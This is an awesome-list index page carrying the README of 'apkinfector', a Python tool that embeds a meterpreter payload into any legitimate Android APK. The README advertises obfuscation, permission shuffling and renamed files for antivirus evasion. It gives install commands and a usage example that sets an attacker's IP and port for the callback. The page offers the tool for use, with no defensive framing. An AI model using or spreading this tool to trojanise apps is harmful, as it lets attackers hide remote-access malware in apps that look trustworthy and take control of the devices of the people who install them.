Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/PushpenderIndia/apkinfector

Advanced Android AV Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK
https://github.com/PushpenderIndia/apkinfector

antivirus-evasion apk-binder apk-embed apk-payload-generator apkinfector meterpreter python3

Last synced: 22 days ago
JSON representation

Advanced Android AV Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK

Awesome Lists containing this project

README

        


APK Infector Logo

APK Infector















This small python script can do really awesome work.

Advanced Android Antivirus Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK & can completely ofusticate the meterpreter payload with different techniques.

## Features
- [x] Fully Automate Payload Creation Using MSFvenom
- [x] Creates a handler.rc File
- [x] Undetectable
- [x] Ofusticate Meterpreter APK
- [x] Binds/Embeds Meterpreter APK with Any Legitimate APK
- [x] Automatically Generates a Key which is used in signing
- [x] Capable to Sign APK Using **Jarsigner** or **APKsigner**
- [x] Zipalign the Signed APK
- [x] Shuffles the Permissions of Meterpreter APK for AV Evasion
- [x] Changes the default foldername and filenames which are being flagged by AV

## Tools Overview
| Front View | Sample Feature |
| ------------ | ------------ |
|![Index](https://github.com/PushpenderIndia/apkinfector/blob/master/img/apkinfector%201.png)|![f](https://github.com/PushpenderIndia/apkinfector/blob/master/img/apkinfector%202.png)

## Prerequisite
- [x] Python 3.X
- [x] APKsigner or Jarsigner [**One of them**]
- [x] APK Tool [**Latest**]
- [x] ZipAlign

## Tested On
[![Kali)](https://www.google.com/s2/favicons?domain=https://www.kali.org/)](https://www.kali.org) **Kali Linux - 2019.4**

## Installation & Usage

```

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/apkinfector.git

# Navigate to technowlogger folder
$ cd apkinfector

# Installing dependencies
$ apt-get update && apt-get install apktool && apt-get install zipalign && apt-get install apksigner

# Running the Tool for 1st Time
$ python3 infector.py --help

# Usage Example
$ python3 infector.py --lhost 192.168.43.70 --lport 4444 --apk-name NEW_APK_NAME --normal-apk /root/Desktop/Path/TO/Legitemate_APK_File.apk

```

## Available Arguments
* Optional Arguments

| Short Hand | Full Hand | Description |
| ---------- | --------- | ----------- |
| -h | --help | show this help message and exit |

* Required Arguments

| Short Hand | Full Hand | Description |
| ---------- | --------- | ----------- |
| | --lhost 192.168.44.33 | Attacker's IP Address |
| | --lport 4444 | Attacker's Port |
| -n NORMAL_APK | --normal-apk NORMAL_APK | Absolute Path of Legitimate APK File |
| | --apk-name APKNAME | APK Name (Anything You Want To Name) |

## Contribute

* All Contributors are welcome, this repo needs contributors who will improve this tool to make it best.